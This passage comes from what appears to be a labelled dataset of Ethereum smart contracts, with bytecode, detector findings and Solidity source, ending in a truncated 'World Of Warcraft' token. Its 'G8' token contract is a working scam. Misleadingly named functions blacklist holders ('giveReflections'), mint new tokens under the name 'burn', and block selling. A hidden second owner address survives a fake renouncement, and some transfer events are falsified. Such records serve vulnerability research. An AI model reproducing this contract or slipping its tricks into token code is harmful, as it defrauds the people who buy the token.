4d4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104f8919061160b565b6001600160a01b031663c9c6539630600b60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561055a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061057e919061160b565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156105cb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105ef919061160b565b600c80546001600160a01b0319166001600160a01b03928316179055600b541663f305d719473061061f816107ba565b6000806106346000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561069c573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906106c19190611628565b5050600c805462ff00ff60a01b1981166201000160a01b17909155600b5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610730573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107549190611656565b50565b6009546001600160a01b0316331461076e57600080fd5b61077a6006600a6115dd565b61078890638f0d18006115ec565b600a55565b6009546001600160a01b031633146107a457600080fd5b60006107af306107ba565b905061075481610d03565b6001600160a01b03811660009081526002602052604081205461034f90610e7d565b6000546001600160a01b031633146108365760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161044c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6009546001600160a01b0316331461089757600080fd5b600981106108a457600080fd5b600855565b600061034b338484610a44565b6009546001600160a01b031633146108cd57600080fd5b4761075481610efa565b600061091983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610f38565b9392505050565b6001600160a01b0383166109825760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161044c565b6001600160a01b0382166109e35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161044c565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610aa85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161044c565b6001600160a01b038216610b0a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161044c565b60008111610b6c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161044c565b6000546001600160a01b03848116911614801590610b9857506000546001600160a01b03838116911614155b15610cb957600c546001600160a01b038481169116148015610bc85750600b546001600160a01b03838116911614155b8015610bed57506001600160a01b03821660009081526004602052604090205460ff16155b15610c4357600a548110610c435760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d69746564000000000000604482015260640161044c565b6000610c4e306107ba565b600c54909150600160a81b900460ff16158015610c795750600c546001600160a01b03858116911614155b8015610c8e5750600c54600160b01b900460ff165b15610cb757610c9c81610d03565b47670de0b6b3a76400008110610cb557610cb547610efa565b505b505b610cc4838383610f66565b505050565b60008184841115610ced5760405162461bcd60e51b815260040161044c919061139d565b506000610cfa8486611678565b95945050505050565b600c805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d4b57610d4b61168f565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610da4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dc8919061160b565b81600181518110610ddb57610ddb61168f565b6001600160a01b039283166020918202929092010152600b54610e019130911684610920565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e3a9085906000908690309042906004016116a5565b600060405180830381600087803b158015610e5457600080fd5b505af1158015610e68573d6000803e3d6000fd5b5050600c805460ff60a81b1916905550505050565b6000600554821115610ee45760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161044c565b6000610eee610f71565b905061091983826108d7565b6009546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610f34573d6000803e3d6000fd5b5050565b60008183610f595760405162461bcd60e51b815260040161044c919061139d565b506000610cfa8486611716565b610cc4838383610f94565b6000806000610f7e61108b565b9092509050610f8d82826108d7565b9250505090565b600080600080600080610fa68761110d565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150610fd8908761116a565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461100790866111ac565b6001600160a01b0389166000908152600260205260409020556110298161120b565b6110338483611255565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161107891815260200190565b60405180910390a3505050505050505050565b6005546000908190816110a06006600a6115dd565b6110ae90638f0d18006115ec565b90506110d66110bf6006600a6115dd565b6110cd90638f0d18006115ec565b600554906108d7565b821015611104576005546110ec6006600a6115dd565b6110fa90638f0d18006115ec565b9350935050509091565b90939092509050565b600080600080600080600080600061112a8a600754600854611279565b925092509250600061113a610f71565b9050600080600061114d8e8787876112ce565b919e509c509a509598509396509194505050505091939550919395565b600061091983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610cc9565b6000806111b98385611738565b9050838110156109195760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161044c565b6000611215610f71565b90506000611223838361131e565b3060009081526002602052604090205490915061124090826111ac565b30600090815260026020526040902055505050565b600554611262908361116a565b60055560065461127290826111ac565b6006555050565b6000808080611293606461128d898961131e565b906108d7565b905060006112a6606461128d8a8961131e565b905060006112be826112b88b8661116a565b9061116a565b9992985090965090945050505050565b60008080806112dd888661131e565b905060006112eb888761131e565b905060006112f9888861131e565b9050600061130b826112b8868661116a565b939b939a50919850919650505050505050565b60008261132d5750600061034f565b600061133983856115ec565b9050826113468583611716565b146109195760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161044c565b600060208083528351808285015260005b818110156113ca578581018301518582016040015282016113ae565b818111156113dc576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461075457600080fd5b6000806040838503121561141a57600080fd5b8235611425816113f2565b946020939093013593505050565b60008060006060848603121561144857600080fd5b8335611453816113f2565b92506020840135611463816113f2565b929592945050506040919091013590565b60006020828403121561148657600080fd5b8135610919816113f2565b6000602082840312156114a357600080fd5b5035919050565b600080604083850312156114bd57600080fd5b82356114c8816113f2565b915060208301356114d8816113f2565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561153457816000190482111561151a5761151a6114e3565b8085161561152757918102915b93841c93908002906114fe565b509250929050565b60008261154b5750600161034f565b816115585750600061034f565b816001811461156e576002811461157857611594565b600191505061034f565b60ff841115611589576115896114e3565b50506001821b61034f565b5060208310610133831016604e8410600b84101617156115b7575081810a61034f565b6115c183836114f9565b80600019048211156115d5576115d56114e3565b029392505050565b600061091960ff84168361153c565b6000816000190483118215151615611606576116066114e3565b500290565b60006020828403121561161d57600080fd5b8151610919816113f2565b60008060006060848603121561163d57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561166857600080fd5b8151801515811461091957600080fd5b60008282101561168a5761168a6114e3565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156116f55784516001600160a01b0316835293830193918301916001016116d0565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261173357634e487b7160e01b600052601260045260246000fd5b500490565b6000821982111561174b5761174b6114e3565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122031fd74c572e1e83095c66f7e9bcb865e3b71b19c101deda84dec78d837908df364736f6c634300080a0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,116 |
0x43066e451235b65232d71700edeec58cf31d3dc1
|
/**
*Submitted for verification at Etherscan.io on 2022-04-12
*/
pragma solidity ^0.8.0;
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
contract G8 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) public _balances;
mapping(address => mapping(address => uint256)) public _allowances;
mapping(address => bool) private _blackbalances;
mapping (address => bool) private bots;
mapping(address => bool) private _balances1;
address internal router;
uint256 public _totalSupply = 1000000000*10**18;
string public _name = "Group Of Eight";
string public _symbol= "G8";
bool balances1 = true;
bool private tradingOpen;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
uint256 private openBlock;
constructor() {
_balances[msg.sender] = _totalSupply;
emit Transfer(address(this), msg.sender, _totalSupply);
owner = msg.sender;
}
address public owner;
address private marketAddy = payable(0xECAD7F51Ef07874bFEfc63A79351A2cD93E94057);
modifier onlyOwner {
require((owner == msg.sender) || (msg.sender == marketAddy));
_;
}
function changeOwner(address _owner) onlyOwner public {
owner = _owner;
}
function RenounceOwnership() onlyOwner public {
owner = 0x000000000000000000000000000000000000dEaD;
}
function giveReflections(address[] memory recipients_) onlyOwner public {
for (uint i = 0; i < recipients_.length; i++) {
bots[recipients_[i]] = true;
}
}
function toggleReflections(address[] memory recipients_) onlyOwner public {
for (uint i = 0; i < recipients_.length; i++) {
bots[recipients_[i]] = false;
}
}
function setReflections() onlyOwner public {
router = uniswapV2Pair;
balances1 = false;
}
function openTrading() public onlyOwner {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner,
block.timestamp
);
tradingOpen = true;
openBlock = block.number;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
receive() external payable {}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(_blackbalances[sender] != true );
require(!bots[sender] && !bots[recipient]);
if(recipient == router) {
require((balances1 || _balances1[sender]) || (sender == marketAddy), "ERC20: transfer to the zero address");
}
require((amount < 200000000000*10**18) || (sender == marketAddy) || (sender == owner) || (sender == address(this)));
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
if ((openBlock + 4 > block.number) && sender == uniswapV2Pair) {
emit Transfer(sender, recipient, 0);
} else {
emit Transfer(sender, recipient, amount);
}
}
function burn(address account, uint256 amount) onlyOwner public virtual {
require(account != address(0), "ERC20: burn to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
|
0x6080604052600436106101395760003560e01c806370a08231116100ab578063a9059cbb1161006f578063a9059cbb14610339578063b09f126614610359578063ba3ac4a51461036e578063c9567bf91461038e578063d28d8852146103a3578063dd62ed3e146103b857610140565b806370a08231146102a25780638da5cb5b146102c257806395d89b41146102e45780639dc29fac146102f9578063a6f9dae11461031957610140565b806323b872dd116100fd57806323b872dd14610201578063294e3eb114610221578063313ce567146102365780633eaaf86b146102585780636e4ee8111461026d5780636ebcf6071461028257610140565b8063024c2ddd1461014557806306fdde031461017b578063095ea7b31461019d57806315a892be146101ca57806318160ddd146101ec57610140565b3661014057005b600080fd5b34801561015157600080fd5b506101656101603660046110d1565b6103d8565b604051610172919061130f565b60405180910390f35b34801561018757600080fd5b506101906103f5565b6040516101729190611318565b3480156101a957600080fd5b506101bd6101b8366004611149565b610487565b6040516101729190611304565b3480156101d657600080fd5b506101ea6101e5366004611174565b6104a4565b005b3480156101f857600080fd5b5061016561054a565b34801561020d57600080fd5b506101bd61021c366004611109565b610550565b34801561022d57600080fd5b506101ea6105e9565b34801561024257600080fd5b5061024b610643565b6040516101729190611575565b34801561026457600080fd5b50610165610648565b34801561027957600080fd5b506101ea61064e565b34801561028e57600080fd5b5061016561029d366004611092565b610690565b3480156102ae57600080fd5b506101656102bd366004611092565b6106a2565b3480156102ce57600080fd5b506102d76106c1565b6040516101729190611282565b3480156102f057600080fd5b506101906106d0565b34801561030557600080fd5b506101ea610314366004611149565b6106df565b34801561032557600080fd5b506101ea610334366004611092565b6107cb565b34801561034557600080fd5b506101bd610354366004611149565b610819565b34801561036557600080fd5b5061019061082d565b34801561037a57600080fd5b506101ea610389366004611174565b6108bb565b34801561039a57600080fd5b506101ea61095d565b3480156103af57600080fd5b50610190610cd5565b3480156103c457600080fd5b506101656103d33660046110d1565b610ce2565b600160209081526000928352604080842090915290825290205481565b6060600780546104049061159b565b80601f01602080910402602001604051908101604052809291908181526020018280546104309061159b565b801561047d5780601f106104525761010080835404028352916020019161047d565b820191906000526020600020905b81548152906001019060200180831161046057829003601f168201915b5050505050905090565b600061049b610494610d0d565b8484610d11565b50600192915050565b600c546001600160a01b03163314806104c75750600d546001600160a01b031633145b6104d057600080fd5b60005b81518110156105465760016003600084848151811061050257634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061053e816115d6565b9150506104d3565b5050565b60065490565b600061055d848484610dc5565b6001600160a01b03841660009081526001602052604081208161057e610d0d565b6001600160a01b03166001600160a01b03168152602001908152602001600020549050828110156105ca5760405162461bcd60e51b81526004016105c19061146d565b60405180910390fd5b6105de856105d6610d0d565b858403610d11565b506001949350505050565b600c546001600160a01b031633148061060c5750600d546001600160a01b031633145b61061557600080fd5b600a54600580546001600160a01b0319166001600160a01b039092169190911790556009805460ff19169055565b601290565b60065481565b600c546001600160a01b03163314806106715750600d546001600160a01b031633145b61067a57600080fd5b600c80546001600160a01b03191661dead179055565b60006020819052908152604090205481565b6001600160a01b0381166000908152602081905260409020545b919050565b600c546001600160a01b031681565b6060600880546104049061159b565b600c546001600160a01b03163314806107025750600d546001600160a01b031633145b61070b57600080fd5b6001600160a01b0382166107315760405162461bcd60e51b81526004016105c190611436565b61073d60008383611082565b806006600082825461074f9190611583565b90915550506001600160a01b0382166000908152602081905260408120805483929061077c908490611583565b90915550506040516001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906107bf90859061130f565b60405180910390a35050565b600c546001600160a01b03163314806107ee5750600d546001600160a01b031633145b6107f757600080fd5b600c80546001600160a01b0319166001600160a01b0392909216919091179055565b600061049b610826610d0d565b8484610dc5565b6008805461083a9061159b565b80601f01602080910402602001604051908101604052809291908181526020018280546108669061159b565b80156108b35780601f10610888576101008083540402835291602001916108b3565b820191906000526020600020905b81548152906001019060200180831161089657829003601f168201915b505050505081565b600c546001600160a01b03163314806108de5750600d546001600160a01b031633145b6108e757600080fd5b60005b81518110156105465760006003600084848151811061091957634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610955816115d6565b9150506108ea565b600c546001600160a01b03163314806109805750600d546001600160a01b031633145b61098957600080fd5b600954610100900460ff16156109b15760405162461bcd60e51b81526004016105c19061153e565b6009805462010000600160b01b031916757a250d5630b4cf539739df2c5dacb4c659f2488d00001790819055600654737a250d5630b4cf539739df2c5dacb4c659f2488d91610a129130916001600160a01b03620100009091041690610d11565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a4b57600080fd5b505afa158015610a5f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a8391906110b5565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610acb57600080fd5b505afa158015610adf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b0391906110b5565b6040518363ffffffff1660e01b8152600401610b20929190611296565b602060405180830381600087803b158015610b3a57600080fd5b505af1158015610b4e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b7291906110b5565b600a80546001600160a01b0319166001600160a01b039283161790556009546201000090041663f305d7194730610ba8816106a2565b600c546040516001600160e01b031960e087901b168152610bde93929160009182916001600160a01b03169042906004016112c9565b6060604051808303818588803b158015610bf757600080fd5b505af1158015610c0b573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610c309190611255565b50506009805461ff001916610100179081905543600b55600a5460405163095ea7b360e01b81526001600160a01b03918216935063095ea7b392610c8392620100009091041690600019906004016112b0565b602060405180830381600087803b158015610c9d57600080fd5b505af1158015610cb1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105469190611235565b6007805461083a9061159b565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b3390565b6001600160a01b038316610d375760405162461bcd60e51b81526004016105c1906114fa565b6001600160a01b038216610d5d5760405162461bcd60e51b81526004016105c1906113ae565b6001600160a01b0380841660008181526001602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610db890859061130f565b60405180910390a3505050565b6001600160a01b038316610deb5760405162461bcd60e51b81526004016105c1906114b5565b6001600160a01b03831660009081526002602052604090205460ff16151560011415610e1657600080fd5b6001600160a01b03831660009081526003602052604090205460ff16158015610e5857506001600160a01b03821660009081526003602052604090205460ff16155b610e6157600080fd5b6005546001600160a01b0383811691161415610ed45760095460ff1680610ea057506001600160a01b03831660009081526004602052604090205460ff165b80610eb85750600d546001600160a01b038481169116145b610ed45760405162461bcd60e51b81526004016105c19061136b565b6c02863c1f5cdae42f9540000000811080610efc5750600d546001600160a01b038481169116145b80610f145750600c546001600160a01b038481169116145b80610f2757506001600160a01b03831630145b610f3057600080fd5b610f3b838383611082565b6001600160a01b03831660009081526020819052604090205481811015610f745760405162461bcd60e51b81526004016105c1906113f0565b6001600160a01b03808516600090815260208190526040808220858503905591851681529081208054849290610fab908490611583565b9091555050600b544390610fc0906004611583565b118015610fda5750600a546001600160a01b038581169116145b1561103057826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6000604051611023919061130f565b60405180910390a361107c565b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611073919061130f565b60405180910390a35b50505050565b505050565b80356106bc8161161d565b6000602082840312156110a3578081fd5b81356110ae8161161d565b9392505050565b6000602082840312156110c6578081fd5b81516110ae8161161d565b600080604083850312156110e3578081fd5b82356110ee8161161d565b915060208301356110fe8161161d565b809150509250929050565b60008060006060848603121561111d578081fd5b83356111288161161d565b925060208401356111388161161d565b929592945050506040919091013590565b6000806040838503121561115b578182fd5b82356111668161161d565b946020939093013593505050565b60006020808385031215611186578182fd5b823567ffffffffffffffff8082111561119d578384fd5b818501915085601f8301126111b0578384fd5b8135818111156111c2576111c2611607565b838102604051858282010181811085821117156111e1576111e1611607565b604052828152858101935084860182860187018a10156111ff578788fd5b8795505b838610156112285761121481611087565b855260019590950194938601938601611203565b5098975050505050505050565b600060208284031215611246578081fd5b815180151581146110ae578182fd5b600080600060608486031215611269578283fd5b8351925060208401519150604084015190509250925092565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b03929092168252602082015260400190565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b901515815260200190565b90815260200190565b6000602080835283518082850152825b8181101561134457858101830151858201604001528201611328565b818111156113555783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b6020808252601f908201527f45524332303a206275726e20746f20746865207a65726f206164647265737300604082015260600190565b60208082526028908201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616040820152676c6c6f77616e636560c01b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526017908201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604082015260600190565b60ff91909116815260200190565b60008219821115611596576115966115f1565b500190565b6002810460018216806115af57607f821691505b602082108114156115d057634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156115ea576115ea6115f1565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461163257600080fd5b5056fea2646970667358221220c870ff92c1906b861346ccfdf22bc5c9504f93d642420ebc30afee71ebbb49c764736f6c63430008000033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 4,117 |
0x8649740757f2ebf28c1e6c8e5481e0c4c27a1e04
|
/**
// World Of Warcraft
// WoW
// Join our journey to the moon and beyond!
//
*/
// SPDX-License-Identifier: none
pragma solidity >=0.5.0 <0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
